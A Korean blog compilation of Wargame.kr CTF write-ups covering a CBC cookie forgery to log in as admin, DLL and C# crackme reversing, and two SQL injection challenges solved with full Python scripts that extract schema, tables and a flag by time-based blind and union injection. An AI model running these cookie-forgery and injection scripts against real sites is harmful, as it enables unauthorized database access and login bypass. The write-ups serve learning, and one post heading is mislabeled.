Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dun worry about vase 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번 문제는 사실 살짝 쫄아 있었는데, 생각보다 어렵지 않은 문제였습니다.


 

 문제 이해

문제에서 바로 Oracle Padding에 대해 알고 있는지 물어보고 있습니다.

이 문제를 보고 바로 걱정했던 건..


오라클 패팅으로 브루트포싱을 어떻게 할까에 대한 고민이었습니다.


일단 걱정은 접어두고 문제를 살펴봤는데,


문제에서 나타난 Session은 L0g1n이라는 세션명으로, 계속해서 바뀌는 것을 볼 수 있었습니다.

아이디와 패스워드는 guest/guest로 변함이 없는데 왜 변하는지 잠시 고민하다 내놓은 뇌피셜은,

CBC 모드로 암호화할 때 사용하는 IV가 계속 달라지는 것이 아닐까 하는 합리적 의심을 해보았습니다.


일단 변하지 않도록 쿠키값만 슬쩍해서 공격을 수행해보도록 했습니다.




 

 문제 풀이


오라클패팅에 대한 개념을 이해하고, %3D가 두 개가 보이는 것을 확인하고, ID와 PW에 대한 IV가 각각 다르구나로 생각했습니다.


일단 ID값이 5Bytes로 guest이고, PW에 들어간 값도 동일했으니, 암호문인 쿠키값의 길이를 측정해보았습니다.

Base64를 디코딩 후 길이를 재보니 각각 8바이트였습니다.


그렇다면 예상해보면 guest\x03\x03\x03과 같이 패딩이 되어 있을 것이라 생각했습니다.


이후 공격코드를 작성해서 풀이를 진행해보았습니다.


import base64

def bytesBlockXOR(block1, block2, length):
    resBlock = b''

    for idx in range(length):
        resBlock += bytes([block1[idx] ^ block2[idx]])

    return resBlock


ID          = '1h3ooS1xGJs='
PW          = 'G3jfbRJUnj4='

ID_Bytes    = base64.b64decode(ID)
PW_Bytes    = base64.b64decode(PW)

ID_IV       = bytesBlockXOR(b'guest\x03\x03\x03', ID_Bytes, 8)
PW_IV       = bytesBlockXOR(b'guest\x03\x03\x03', PW_Bytes, 8)

print('[+] ID_IV : ', ID_IV)
print('[+] PW_IV : ', PW_IV)


ADMIN_ID_ENC= bytesBlockXOR(b'admin\x03\x03\x03', ID_IV, 8)

print("[+] ADMIN ID ENCRYPTED : %s" % base64.b64encode(ADMIN_ID_ENC))

# 1h3ooS1xGJs%3DG3jfbRJUnj4%3D
# 0AzguzdxGJs=
# 0AzguzdxGJs%3DG3jfbRJUnj4%3D


일단은 ID에 대한 암호문은 구했지만 PW에 대한 암호문은 PW를 모르니....

일단 ID 암호문만 바꿔줘보자 했었는데,


ID 만 바꿔줘도 admin으로 풀리더군요.




Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dll with notepad 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


IDA로 본격적으로 DLL을 열어보는 기념비적인 문제입니다.


 

 문제 이해

문제에서 DLL 파일을 리버싱할 수 있느냐를 물어보며 시작됩니다.

사실 X64DBG나 OllyDBG를 사용하던 시절에 리버싱을 했었다면 상당히 고생했을 거 같습니다.


그러나 지금은 IDA와 같은 좋은 툴이 있습니다...

그리고 문제 본문을 보면 localtime이 어쩌구 하는 것을 확인할 수 있었습니다.


아무래도 localtime으로 뭔가가 달라지는 것이 아닐까 합니다.



IDA로 문제 파일 중 DLL 파일을 열어보면 아래와 같이 start 함수에 notepad.exe라는 문자열과 비교하는 부분이 있습니다.


이 부분에서 notepad.exe라는 문자열과 같지 않으면 해당 루틴으로 넘어가지 않는다고 나와 있습니다. 아무래도 같이 제공된 notepad.exe 파일이 해당 DLL 파일을 불러오는 것이라는 합리적인 의심을 해볼 수 있습니다.

다음으로 StartAddress 함수를 들어가보니 Sleep 위에 함수가 하나 호출되는 것을 볼 수 있었습니다.


아래의 루틴은 크게 의미가 없어보여서 해당 함수로 들어가보았습니다.


여기서, 친절하게 문제에서 localtime을 유의하라고 하였는데, localtime를 확인하는 로직이 나오는 걸 보니 빙고인 것 같습니다.

여기서 쭉 분석을 해봤는데, 밑줄을 그은 부분을 보면 해당 주소를 하나씩 증가 시키면서 v1에 저장되는 값을 계속해서 추가적으로 저장하는 것을 볼 수 있었습니다.


그리고 위의 값은 다룬 곳에서 따로 변하는 것이 없었고, 위의 루틴에서 나와 바로 strcmp를 하는 것이 확인되었습니다.

그렇다면 해당 값이 무언가 의미가 있을 것으로 보입니다.


아무래도 해당 값을 확인해봐야 할 것 같은데... 리버싱으로 코드를 똑같이 만들어 계산해볼 엄두가 나질 않았습니다.


때문에 저는 동적 분석을 수행하였습니다.


X64dbg로 notepad가 켜지도록 하여 해당 영역의 값이 어떻게 변하는지 확인해봐야겠다고 생각했습니다.



 

 문제 풀이

notepad.exe를 x64dbg 로 32Byte를 지원하는 바이너리로 실행하고, 분석을 추가적으로 진행했지만, 별다른 소득은 없었습니다.

그래서 처음 분석한 내용을 먼저 확인해보자해서 notepad.exe가 실행될 때까지 그냥 실행하고,

이후 추가적인 문자열이 나타났는지 확인해보았습니다.

그랬더니 아래와 같이 나왔습니다.


그랬더니 위와 같은 문자열이 나타나는 것을 확인하였습니다.



Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 Crypto Crackme Basic 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 공격 포인트는 간단하지만, 공격 코드 짜는 게 여간 힘든 일이었습니다.


 

 문제 이해


문제는 다음과 같습니다.


친절합니다.


위에서 Time Based SQL Injection 이라고 알려주었습니다.

다만 그외에 정보가 따로 없습니다... Database, Table, Column이름을 모두 알아내야 합니다.


아래에서 공격 벡터를 찾기 위해 쭉 찾아보았는데,


to JSMaster 부분에서 POST값으로 보내는 type 부분에서 sleep 함수가 통하며, Time Based SQLi가 되는 것을 확인하였습니다.



아래의 코드와 같이 테스트하였으며, 2초 뒤에 반환되는 것을 보았습니다.



 

 문제 풀이


문제를 풀기 위한 코드입니다.

모두 두 가지로 나누었으며, MySQL 내부의 정보를 긁어오는 코드와 이를 이용하여 풀이를 진행한 코드입니다.


다만 유의해야 할 점은 싱긍쿼터가 필터링 되어 있기 때문에 HEX 값으로 대신 문자열을 비교하였습니다.


 

 MySQL Scanner(Python3)



import requests
import string
import time

def str2hex(string):
    return '0x'+bytes.hex(string.encode())


requests.packages.urllib3.disable_warnings()
headers     = {
    "Cookie" : "여러분의 쿠키값"
}
proxies     = {
    'http'  : 'http://localhost:8888',
    'https' : 'http://localhost:8888'
}
data        = {
    "cont"  : "kkamikoon",
    "mail"  : "kkamikoon",
    "type"  : "%s"
}
URL         = "http://wargame.kr:8080/qna/"


# Database Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if(length(database())=%s,sleep(3),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Database Length : %d" % i)
        dbLen = i
        break
    else:
        pass


bitLen = 8
dbName = ""

for dblen in range(1, dbLen+1):
    
    tmpBit = ""

    for blen in range(1, bitLen+1):
        tmpTime         = time.time()
        data['type']    = "1 and if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dblen" : dblen, "bitLen" : bitLen, "blen" : blen}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            tmpBit += "1"
        else:
            tmpBit += "0"


    dbName += chr(int(tmpBit,2))
    print("[+] Found Word : ", dbName)

print("[+] Found DB Name : %s" % dbName)




# Table Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName  = "qna"

# Table Count
for count in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select count(table_name) from information_schema.tables where table_schema=%(dbName)s)=%(count)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "count" : count}
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Table Count : %d" % count)
        tableCnt    = count
        break
    else:
        pass


# Table Length
tableLen = []

for tcnt in range(tableCnt):
    for length in range(100):
        tmpTime         = time.time()
        data['type']    = "1 and if((select length(table_name) from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1)=%(length)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "length" : length, "tcnt" : tcnt}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            print("[+] Found Table Length : %d" % length)
            tableLen.append(length)
            break
        else:
            pass

print("[+] Found All Table Length : ", tableLen)


# Table Name
bitLen      = 8
tableName   = []

for tcnt in range(tableCnt):

    tmpName = ""

    for tlen in range(1, tableLen[tcnt]+1):
        
        tmpBit = ""

        for blen in range(1, bitLen+1):
            tmpTime         = time.time()
            data['type']    = "1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1),%(tlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dbName" : str2hex(dbName), "tlen" : tlen, "bitLen" : bitLen, "blen" : blen, "tcnt" : tcnt}
            res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

            if (time.time() - tmpTime) >= 1.5:
                tmpBit += "1"
            else:
                tmpBit += "0"


        tmpName += chr(int(tmpBit,2))
        print("[+] Found Word : ", tmpName)

    print("[+] Found Table Name : %s" % tmpName)
    tableName.append(tmpName)

print("[+] Found All Table Name : ", tableName)





# Column Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName      = "qna"
tableCnt    = 2
tableName   = ['authkey', 'message']
columnCnt   = []

# Column Count
for tcnt in range(tableCnt):
    for count in range(100):
        tmpTime         = time.time()
        data['type']    = "1 and if((select count(column_name) from information_schema.columns where table_name=%(tableName)s)=%(count)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "count" : count}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            print("[+] Found Column Count : %d" % count)
            columnCnt.append(count)
            break
        else:
            pass


# Column Length
columnLen = []

for tcnt in range(tableCnt):

    tmpLen = []

    for ccnt in range(columnCnt[tcnt]):

        for length in range(100):
            tmpTime         = time.time()
            data['type']    = "1 and if((select length(column_name) from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1)=%(length)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "length" : length, "ccnt" : ccnt}
            res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

            if (time.time() - tmpTime) >= 1.5:
                print("[+] Found Column Length : %d" % length)
                tmpLen.append(length)
                break
            else:
                pass

    columnLen.append(tmpLen)

print("[+] Found All Column Length : ", columnLen)



# Column Name
bitLen      = 8
columnName  = []


for tcnt in range(tableCnt):

    tmpNameList = []

    for ccnt, clen in enumerate(columnLen[tcnt]):

        tmpName = ""
        
        for cl in range(1, clen+1):

            tmpBit = ""

            for blen in range(1, bitLen+1):
                tmpTime         = time.time()
                data['type']    = "1 and if(substr(lpad(bin(ord(substr((select column_name from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1),%(cl)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "cl" : cl, "bitLen" : bitLen, "blen" : blen, "ccnt" : ccnt}
                res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

                if (time.time() - tmpTime) >= 1.5:
                    tmpBit += "1"
                else:
                    tmpBit += "0"

            tmpName += chr(int(tmpBit,2))
            print("[+] Found Word : ", tmpName)

        print("[+] Found Tmp Column Name : %s" % tmpName)
        tmpNameList.append(tmpName)

    print("[+] Found Column Name : ", tmpNameList)
    columnName.append(tmpNameList)

print("[+] Found All Column Name : ", columnName)


    



 

 Solve(Python3)



import requests
import string
import time

def str2hex(string):
    return '0x'+bytes.hex(string.encode())


requests.packages.urllib3.disable_warnings()
headers     = {
    "Cookie" : "여러분의 쿠키값"
}
proxies     = {
    'http'  : 'http://localhost:8888',
    'https' : 'http://localhost:8888'
}
data        = {
    "cont"  : "kkamikoon",
    "mail"  : "kkamikoon",
    "type"  : "%s"
}
URL         = "http://wargame.kr:8080/qna/"


# Value Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Value Count
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select count(authkey) from authkey)=%s,sleep(2),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Value Count : %d" % i)
        valueCnt = i
        break
    else:
        pass

# Value Length
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select length(authkey) from authkey)=%s,sleep(2),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Value Length : %d" % i)
        valueLen = i
        break
    else:
        pass

bitLen      = 8
valueLen    = 40
value       = ""

for vlen in range(1, valueLen+1):
    
    tmpBit = ""

    for blen in range(1, bitLen+1):
        tmpTime         = time.time()
        data['type']    = "1 and if(substr(lpad(bin(ord(substr((select authkey from authkey limit 0,1),%(vlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"vlen" : vlen, "bitLen" : bitLen, "blen" : blen}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            tmpBit += "1"
        else:
            tmpBit += "0"


    value += chr(int(tmpBit,2))
    print("[+] Found Word : ", value)

print("[+] Found Value : %s" % value)






Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 Crypto Crackme Basic 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 간단하지만, 어느정도 도구를 다룰 줄 알아야 합니다.

사용할 수 있는 도구는 굉장히 다양하지만 목적은 C# Decompile, 혹은 C# Analysis로 동일합니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


Crypto Crackme Basic에서는 C# Reversing이 가능하는지 묻고 있습니다.

문제를 풀면서 생각해보건데, 일반적은 디버거(OllyDBG 혹은 X64DBG, IDA 등)으로는 분석하기가 은근 까다롭습니다.


OllyDBG나 X64DBG의 경우 중단점의 위치를 파악하기 어려운데, 이는 dll을 동적으로 가져오는 원리 때문이라고 합니다.

또한 IDA의 경우 Decompile이 일반적인 방법으로 되지 않았습니다.(그냥 코드 가져다가 쭈욱 따라가면 디컴파일 해주던데 ㅠㅠ)


때문에 저는 IDA를 조금 사용하다가 중간에 C# Decompiler를 검색하여 사용해보았습니다.


일단 문제의 상세 내용은 다음과 같습니다.



위의 프로그램을 다운로드 받고 실행시키면 아래와 같이 됩니다.



WTF AUTH FAILED라는 문자열이 나오는 것을 중심으로 IDA를 응용해보려 했습니다. ㅠㅠ





 

 문제 풀이


일단 문제를 풀이하기 앞서 제가 한 삽질과 문제 풀이, 두 가지로 구분하려 합니다.

제가 삽질한 부분을 넘어가고자 하시면 [문제 풀이] 소제목으로 넘어가주시기 바랍니다.



 

 IDA를 이용한 C# 디컴파일(리버싱) - 실패


IDA를 이용하여 C#을 디컴파일 해보게 되면 다음과 같이 나오게 됩니다.


처음엔 오잉? 했으나, 저게 이 프로그램의 코드 흐름 전체입니다.

여기서 얻을 수 있는 힌트는 어떤 함수로 쓰여 있고, 어떤 값이 들어가 있는지 등이 쓰여 있을 뿐, 다른 큰 정보는 없습니다.

특히 name 값이 BluSH4G라는 것을 알 수 있다는 점에서 조금의 힌트는 얻을 수 있었습니다.


이제 F5를 눌러 디컴파일을 하려했는데...


띠용.

안 됩니다...


원래 이 외에도 다양한 삽질을 시도 하였으나, 의미있는 건 저정도 뿐이라 여기까지만 작성해보도록 하겠습니다.


이처럼 디컴파일이 안 되기 때문에 다른 방법을 찾아야 했습니다.

디컴파일을 위해 다른 C# Decompiler툴을 찾아보았습니다.


찾아본 툴의 종류는 굉장히 다양하나, 저는 JetBrain에서 제공하는 Dot Peek이라는 프로그램을 사용하였습니다.

여러분은 dnSpy를 사용하시는 것을 권장합니다.



 

 문제 풀이


문제 풀이를 위해 Dot Peek을 설치해보았습니다.

원래는 Decompile한 파일을 Export하여 동적 디버깅을 수행하기 위해 Visual Studio를 설치하였으나, 굳이 그럴 필요까지는 없었습니다.
(파일이 워낙 작고 하나에 모아둬서 그럴 필요까지는 없다는 것입니다.)


Dot Peek으로 디컴파일하게 되면 다음과 같이 나타나게 됩니다.

IDA에서 바랐던 모습이 좀 더 상세하게 나온 기분이네요.

위와 같이 아예 프로젝트 소스를 완전하게 디컴파일 해주는 것처럼 보입니다.

변수 이름이나 함수 이름을 완벽하게 가져왔습니다.


C#은 원래 이런가...


여기어 이 프로젝트를 Export하여 동적 디버깅을 수행하여 이것저것 알아보려 했으나 크게 소득이 없었습니다.


물론 C# 코드를 모르시는 분이나, 이해가 잘 안 간다 하시는 분은 Visual Studio를 설치하여 동적디버깅 하면서 변수의 값을 일일이 체크해보는 게 더 빠르고 도움될 수 있습니다.


저는 후자이기 때문에 동적 디버깅을 수행하였습니다.


먼저 DES 암호 알고리즘임으 알 수 있습니다.

또한 모드는 ECB 모드이며, Key만 이용되는 암호화 방식입니다.

따라서 여기서는 Key 값만 유효하며 IV는 의미가 없습니다.


중단점을 삽입하고, F11을 눌러가며 디버깅을 수행하면서, Key 값과 IV(Initial Vector) 값을 확인했습니다.

여기서 Key 값과 IV 값은 동일하며 name + '*' 값입니다.

즉 BluSH4G 값이 이름이면 뒤에 *을 붙여 BluSH4G* 가 Key와 IV가 된다는 것입니다.


이제 암호화된 값이 어디있는지 찾아야 하는데, 이는 getps라는 함수를 통해 값을 얻어옵니다.



동적 디버깅을 쭉 따라가다보면, wargame.kr에서 ps.php를 통해 암호화된 값을 가져우는 것을 확인할 수 있습니다.

이 값이 암호화된 flag값입니다.

또한 암호화된 값은 Base64로 인코딩 되어 있으며, 이는 위의 myEncrypt에서 설명하고 있습니다.



이제 알아낸 Key 값으로 위의 암호문을 복호화해보도록 하겠습니다.


복호화를 위해 따로 코드를 구현하지 않았고, online을 사용하였습니다.


이렇게 해서 Flag를 얻어낼 수 있었습니다.

저 Flag 값은 계속 바뀌게 됩니다.


만약 온라인이 별로라면?

import pyDes # Should install using pip module
import base64

class DES:
    def __init__(self, iv, key):
        self.iv  = iv
        self.key = key

    def encrypt(self, data):
        k    = pyDes.des(self.key, pyDes.ECB, self.iv, pad=None, padmode=pyDes.PAD_PKCS5)
        d    = k.encrypt(data)
        d    = base64.b64encode(d)
        return d

    def decrypt(self, data):
        k    = pyDes.des(self.key, pyDes.ECB, self.iv, pad=None, padmode=pyDes.PAD_PKCS5) 
        data = base64.b64decode(data)
        d    = k.decrypt(data)
        return d

if __name__ == '__main__':
    iv       = 'BluSH4G*'
    key      = 'BluSH4G*'
    des      = DES(iv, key)
    enc_data = b"kyxBF9rAKXBIGi5KmChr0v+xDhZV/5BFNpLzRs4/tLj/BSXG+NKIlxVDw6Z7BZik"
    
    dec_data = des.decrypt(enc_data)

    print(dec_data)
    




끝!


 

 P.S.


dnSpy는 dot peek + Visual Studio인데 겁나 가벼움...

님들 dnSpy 씁시다.


https://github.com/0xd4d/dnSpy/releases

Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dmbs335 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 간단하지만, 어느정도 PHP 코드의 분석이 필요한 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


여기서 문제를 보면, SQL Injection 문제라고 나옵니다.

그리고 문제로 들어가면 다음과 같이 테이블이 나오게 됩니다.


쿼리는 GET 방식으로 search_cols, keyword, operator가 있고, 소스도 보여줍니다.

소스는 다음과 같습니다.

<?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("../lib.php");
include("./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    }

    if($query_parts) { 
        $where_clause .= $query_parts;
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 


?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or   
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />


먼저 42번 째 줄을 보면, 만약 $col의 값이 subject나 content 혹은 writer가 아니면 빈 문자열을 반환합니다.

즉, 정상적인 요청일 때는 seach_cols에는 content, subject, writer 등의 값이 들어있어야 합니다.


그리고 해당 값이 있다면 $query_parts라는 값에 적절한 값이 세팅됩니다.


여기서 취약한 부분이 어디인지 찾아보았는데, parse_str함수를 통해 $_SERVER['QUERY_STRING'] 값을 파싱한다는 부분입니다.


_SERVER['QUERY_STRING']은 우리가 POST든 GET이든 값을 넘겨주게 되면, 해당 값으로 변수를 채운다는 뜻입니다.


만약 GET으로 ?data=abcd&id=identification 이렇게 값을 넘겨줬다면

$data에는 'abcd'라는 값이,

$id에는 'identification'이라는 값이 들어가게 됩니다.


이와 같이 넘어온 값을 변수에 채워주게 되는데, 이러한 부분이 취약점이 될 수 있습니다.



 

 문제 풀이


위의 문제를 풀기 위해서는 우리가 임의로 특정 영역에 값을 넣어줄 수 있다는 점, 그리고 그 값이 변경되지 않도록 할 수 있는 부분이 있는가에 대한 확인이 필요합니다.


1. 특정 영역에 값을 넣을 수 있는 건 _SERVER['QUERY_STRING']이라는 코드가 있기 때문

2. 우리가 입력한 값이 SQL Injection이 되도록 변경이 되지 않고 잘 삽입될 수 있는지 확인은 코드를 분석해야 함


 

 특정 영역에 값을 넣을 수 있는가


우리는 keyword든, where_clause든, query_parts, operator, cols 등에 값을 넣을 수 있습니다.

이는 _SERVER['QUERY_STRING'] 이라는 코드가 있기 때문입니다.


변수에 값을 넣어주는 쿼리는 다음과 같이 할 수 있습니다.


http://wargame.kr:8080/dmbs335/?where_clause=1&cols=1&query_parts=1&search_cols=1&keyword=1&operator=or



 

 우리가 입력한 값이 변경되지 않고 잘 삽입될 수 있는가


우리가 코드에서 삽입할 수 있는 변수들의 목록을 살펴볼 때, 다음과 같은 코드는 무조건 다른 값으로 매꿔지는 것을 볼 수 있습니다.


11번 라인 $operator(값이 무조건 치환되도록 하였음)

33번 라인 $where_clause(값이 빈 문자열로 치환되도록 하였음)

39번 라인 $cols(값이 들어 있든 없든, 분할되어 Array로 바뀜)


여기서 우리는 $len, $query_parts를 이용할 수 있겠다 싶지만, SQL문에 직접 삽입되는 코드는 query_parts 뿐임을 알 수 있습니다.


query_parts 변수에 값을 넣어서 변하지 않도록 하기 위해서는 43번 라인이 실행되면 안 됩니다.

즉, $col에 값이 들어있지 않아야 하며, 이를 위해서는 seach_cols에 subject, content, writer 등의 문자가 없어야 함을 의미합니다.


여기서 위와 같은 조건을 맞춰준다면 다음과 같은 SQL 문이 들어가게 됨을 예상할 수 있습니다.


select * from board where {$query_parts} order by idx desc


위의 값에 $query_parts 부분에는 원래 $where_clause가 들어가게 되는데, 만약 col에 적절한 값이 들어가 있지 않다면,

43번 if문이 실행되지 않고, 우리가 입력한 query_parts 값이 where_clause에 들어가게 됩니다.


그리고 59 ~ 62 라인의 코드에서 $where_clause 값을 적절한 쿼리로 만들어줍니다.(뒤에 붙는 $operator 값을 제거함)


여기서 각각 다음과 같이 입력해보도록 합시다.


query_parts(unquote) : 0 union select 1,2,3,4#

query_parts(quote) : 0%20union%20select%201,2,3,4%23


search_cols : 1


그러면 다음과 같은 값을 뱉어냅니다.



허허허허허허 개꾸르

Injection이 가능하다는 것을 볼 수 있습니다.


여기서 싱글 쿼터, 더블 쿼터 모두 필터링이 되어 있지 않기 때문에 다음과 같이 information_schema 값을 쭈욱 뽑아낼 수 있습니다.


편하게 해보려고 불편한 코드를 작성해보았습니다.

import requests
import re

requests.packages.urllib3.disable_warnings()
sess  = requests.session()
URL   = 'http://wargame.kr:8080/dmbs335/'

query_works = False
 
# Test to Query if it works  ==========================

# id = admin
# not filtered single quote....

# search_cols must not have the words; 'subject' or 'content'

query_parts = '1'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)


if len(res.text) > 945:
    query_works = True
else:
    query_works = False

 
print('[=] query_works  : ', query_works)
print('[=] res.text len : ', len(res.text))


# GET table_schema and table_name  ==========================

# <  td> tag parsing regex
regex       = r"<    td>(.+?)< /td>"

query_parts = '0 union select 1,table_schema,table_name,4 from information_schema.tables%23'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)

pos         = res.text.find('<   tbody>')
data        = res.text[pos:]

re_list     = re.findall(regex, data)[:4]

count       = 0


print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('table_name', re_list[count + 1]))
print('{} : {}'.format('column_name', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4



# GET table_name and column_name  ==========================

# <  td> tag parsing regex
regex       = r"<    td>(.+?)< /td>"

query_parts = '0 union select 1,table_name,column_name,4 from information_schema.columns where table_name=\'Th1s_1s_Flag_tbl\'%23'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)

pos         = res.text.find('<   tbody>')
data        = res.text[pos:]

re_list     = re.findall(regex, data)[:4]


count       = 0


print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('table_name', re_list[count + 1]))
print('{} : {}'.format('column_name', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4


# GET column_name and column_data  ==========================

# <  td> tag parsing regex
regex       = r"<    td>(.+?)< /td>"

query_parts = '0 union select 1,2,f1ag,4 from dmbs335.Th1s_1s_Flag_tbl%23'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)

pos         = res.text.find('<   tbody>')
data        = res.text[pos:]

re_list     = re.findall(regex, data)[:4]

count       = 0


print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('2', re_list[count + 1]))
print('{} : {}'.format('column_data', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4



끝!




Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 keypad_crackme 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 이 문제는 exe 파일 하나를 제공하며, 리버싱을 통해 어떤 값이 AUTH 값인지 알아내는 문제입니다.

